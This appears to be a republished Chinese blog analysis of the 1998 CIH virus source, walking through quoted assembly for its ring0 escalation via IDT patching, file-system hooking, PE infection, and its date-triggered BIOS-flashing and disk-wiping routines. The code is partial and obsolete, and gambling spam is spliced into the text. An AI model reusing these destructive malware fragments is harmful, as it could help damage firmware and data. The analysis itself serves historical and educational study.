ca88:二十年后的CIH病毒源代码分析

2021-04-01 18:25:55 浏览: 218次 来源:【jake】 作者:-=Jake=-

原始链接:回顾二十年-CIH病毒源代码分析-Safeke,安全信息平台

起源

又是双十一,是时候再砍手了。

我听说今年固态硬盘价格便宜,所以我想在“双十一”期间为自己添加一个固态硬盘。

但是我的主板比较旧,我不知道它是否可以支持NVME协议SSD,所以我在Internet上搜索了它。

此搜索无关紧要。搜索后,我发现我的旧主板本身不支持NVME协议固态驱动器,但是如果您要使用它,则没有解决方案。

解决方案是:

下载官方BIOS固件以修改官方BIOS固件,然后将支持nvme的模块添加到官方BIOS固件中。将修改后的BIOS固件刻录到BIOS。

什么?修改官方BIOS固件后,可以将其刻录到其中乐鱼app ,但是没有自检功能吗?

BIOS作为计算机启动的第一个入口,允许用户随意修改。尽管它对用户来说很方便,但是它也带来了巨大的安全风险。

我突然想起很久以前,有一种非常著名的病毒-CIH,一种古老的病毒,据说可以破坏BIOS。突然,我好奇了,想看看CIH是如何实施的。

所以我有这篇文章与您一起回顾这段历史,并分享我分析CIH源代码的过程和经验。

源代码

CIH的故事已经消失了很长时间,但是其源代码仍然可以在Internet上找到。

可以在github上找到源代码,URL如下:github.com/onx/CIH

这是1. 4版本的CIH源代码。据说也有1. 5版本,但我没有找到。我们的分析从此源代码开始!

首先看一下代码。作者的编码习惯非常好,并且每个部分也都有评论。开始部分是版本记录。记录版本更改的特定时间和特定功能。

让我们先整理时间轴。

1.版本0于1998年4月26日完成,基本功能已完成。目前,该病毒的大小为656字节。

1. 1版本的完成时间为1998年5月15日,并添加了操作系统以确定是否为WinNT,该病毒将不会运行。目前,该病毒的大小为796字节。

1. 2版本的完成时间为1998年5月21日,增加了删除BIOS和破坏硬盘的功能。目前,该病毒的大小为1003字节。

1. 3版本的完成时间为1998年5月24日。它修复了感染winzip自解压文件的错误。目前,该病毒的大小为1010字节。

1.版本4于1998年5月31日完成。感染Winzip自解压文件的错误已完全修复。目前,该病毒的大小为1019字节。

1998年7月26日,CIH病毒在美国广泛传播; 1998年8月26日,CIH病毒在全球蔓延,公安部下达紧急通知,新华社和新闻网跟进报道。

此后,CIH病毒的作者Chen Yinghao公开道歉并积极提供防病毒和防病毒程序,CIH病毒逐渐受到有效控制。

呵呵,您可以删除少于1KB的BIOS并损坏硬盘驱动器,只是问您是否害怕?

所以,让我们现在看看CIH是如何在20年前造成如此巨大的影响和破坏的!

分析PE文件头

源代码的第一部分是文件头:

OriginalAppEXE SEGMENT
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
.....
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS

是PE文件的MZ文件头。

此文件头的主要目的是遵守PE(便携式执行,便携式可执行文件格式)文件格式。我们常见的EXE,DLL,OCX和其他文件必须符合Microsoft指定的PE格式,因此可以识别并执行Windows操作系统。在这里,我们跳过分析。有兴趣的读者可以自己分析PE文件头和源代码。互联网上也有很多有关PE格式分析的文章。

此外,由于CIH的故事由来已久,因此请注意读者。 CIH使用的某些技术已过时,但今天可以用作参考。一些技术并不过时。可以说是顽强的。我将在文章中逐一指出它们,希望对您有所帮助。

VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

该病毒实际上是从VirusGame区段开始运行的。

VirusGame部分的名称非常有趣!作者在完成病毒工作时才23岁(现在已经43岁了),但仍然在年轻人的脑海中,开发病毒就像为作者编写游戏一样。

但是延时事件,今天已经不再是20年前了! 2018年颁布了《中华人民共和国网络安全法》。病毒的发展可能会导致严重的后果。道歉还不够。读者必须在这一点上建立正确的认识!请务必仔细研究相关法律,不要自己尝试法律。

修改SEH

闲话少,然后我们的分析从MyVirusStart开始。

MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax

程序的第一部分是修改Windows的SEH(结构化异常处理)。首先,什么是SEH?为什么要修改SEH?

SEH(结构化异常处理)是Windows操作系统的异常和分发处理机制。该机制的实现是将FS [0]指向一个链表,该链表告诉操作系统何时发生异常。应该处理谁。

类似于我们现实生活中的紧急联系人列表,如果应用程序出现问题,请将其交给链接列表中的紧急联系人第一,如果紧急联系人无法解决,则将其交给转到第二个联系人。等等。当调用了所有异常处理函数并且仍未处理异常时,操作系统将调用默认的异常处理程序,通常会给出错误消息并关闭应用程序。

稍后将介绍修改SEH的原因。

上面的代码修改了FS [0],以使当前的SEH指向StopToRunVirusCode

SEH是Windows提供的一种异常处理机制,至今仍在各种安全领域中使用。

输入内核

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
int HookExceptionNumber

接下来,此代码通过修改中断描述符表来获取CPU的ring0权限。

在WinNT操作系统中,不能再修改IDT指向的内存,因此在执行此代码时将发生异常。换句话说,这种获取Ring0权限的方法现在无效。

因此,上面的代码中修改SEH或称为编辑SEH的目的非常明确。

目的是识别当前操作系统。如果发现它是WinNT或更高版本的操作系统,它将自动生成一个异常并跳转到StopToRunVirusCode以停止运行。

因此,读者可以放心,尽管CIH功能强大,但它不会感染当今的操作系统!当然,除非有变体。

在win9x操作系统中,此代码修改中断描述符表,以使异常处理功能指向MyExceptionHook。最后一句话

int HookExceptionNumber

直接触发异常并输入MyExceptionHook。在下面,我们输入MyExceptionHook进行分析。

MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage

这是一个小把戏。病毒使用dr0寄存器存储病毒的安装状态。 dr0寄存器主要用于调试,通常在应用程序的正常运行期间不会被修改。因此,请将其用作全局临时寄存器。

首次进入MyExceptionHook时,由于jz的条件尚未建立,因此不会跳转到InstallMyFileSystemApiHook,而是跳转到AllocateSystemMemoryPage进行内存分配。

此后cih病毒代码,我们将第二次返回MyExceptionHook,然后将调用InstallMyFileSystemApiHook来安装系统挂钩。

; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi

调用AllocateSystemMemoryPage分配系统内存后,下一段代码会将病毒代码复制到先前分配的系统内存中。

挂钩系统调用

; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Again

接下来第二次调用int命令以输入MyExceptionHook。然后它将跳转到InstallMyFileSystemApiHook。

InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags
mov dr0, eax ; Save OldFileSystemApiHook Address
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax
cli
jmp ExitRing0Init

顾名思义,以上代码将病毒的文件处理功能挂接到系统调用中。它使用Windows放弃的一项称为VXD的技术。该技术只能在win9x系统上使用cih病毒代码,而WinNT不再可以使用。

但是实际上,原理是相同的。主要目的是挂接文件操作功能的系统调用。该方法也类似。首先,获取旧的系统调用地址,将旧函数替换为我们的调用函数,然后执行我们的函数。回到原来的地址后。

两朵花盛开,每朵一朵。此时,请记住,该病毒已安装系统调用挂钩华体会app官方下载 ,并且在执行文件操作时,它将运行到我们的挂钩函数中。

在这里凤凰体育平台 ,我们看到在安装钩子之后,它将跳到ExitRing0Init并退出ring0状态。

ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;
iretd

退出Ring0后,下去。

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point

这时,打开中断并恢复先前被病毒修改的SEH。毕竟,我们的中断已经结束了足够长的时间。

最后,如果它是通过另一个受感染的程序进入的,则返回到上一个程序的入口点以继续执行,否则,请直接退出以退出。

接下来,我们分析先前钩住的函数FileSystemApiHook;

在有文件读/写调用时,Windows将调用被病毒替换的FileSystemApiHook。

由于它是VXD驱动程序,因此该程序几乎没有用处。在这里,我们加快了速度,分析的粒度将更粗。

首先,根据系统调用的输入参数判断它是否为打开文件调用。如果调用它来打开文件,请获取需要打开的文件的路径。

接下来,作者使用大约100行汇编代码来确定文件是否为PE文件。如果它是PE文件,则会将病毒代码感染到该文件中。

感染的方法是将病毒代码写入PE文件,修改PE文件的签名,并修改病毒代码的入口点。

; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************
mov (NewAddressOfEntryPoint-@9)[esi], edx
; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************
WriteVirusCodeToFile:
......
jmp WriteVirusCodeToFile

潜伏和癫痫发作

同时爱游戏官网app ,当系统调用参数为cloasefile时百家乐APP ,判断当前时间:

CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************
popf
pop esi
jnc IsKillComputer
IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h
xor al, 26h ; ??/26/????

在IsKillComputer中,可以看出CIH设计了一种潜在的策略,先感染,然后不进行攻击,以增加感染的机会,直到当前日期26日,每个人都受到了统一的攻击。<​​/ p

26日静悄悄的时候,CIH开始破坏BIOS和硬盘。

破坏BIOS的方法是:

1.将BIOS的内容映射到内存,然后将BIOS设置为可写。主要调用IOForEEPROM和EnableEEPROMToWrite。

IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx
BooleanCalculateCode = $
or al, 44h
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
out dx, al
ret

从上面的代码可以看出,CIH使用输入和输出指令来修改BIOS数据。

破坏硬盘的方法是使用我们前面提到的VXD来调用IOS_SendCommand。

KillHardDisk:
......
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx
mov esi, esp
sub esp, 0ach
LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand
......
jmp LoopOfKillHardDisk

摘要

最后,让我们对其进行梳理:

1.病毒执行后,它将修改IDT并进入内核。这应该被视为Win9X系统中的漏洞。在WinNT和更高版本的系统中,这种进入内核的方法失败了。

3.进入内核的主要目的是安装系统挂钩,挂钩文件读写调用,并在挂钩系统调用后退出Ring0;

4.当有文件读写调用并且该文件是PE文件时,病毒将被感染到PE文件中。

5.潜伏到每个月的26日发生一次统一攻击,并开始破坏BIOS和硬盘数据。

老王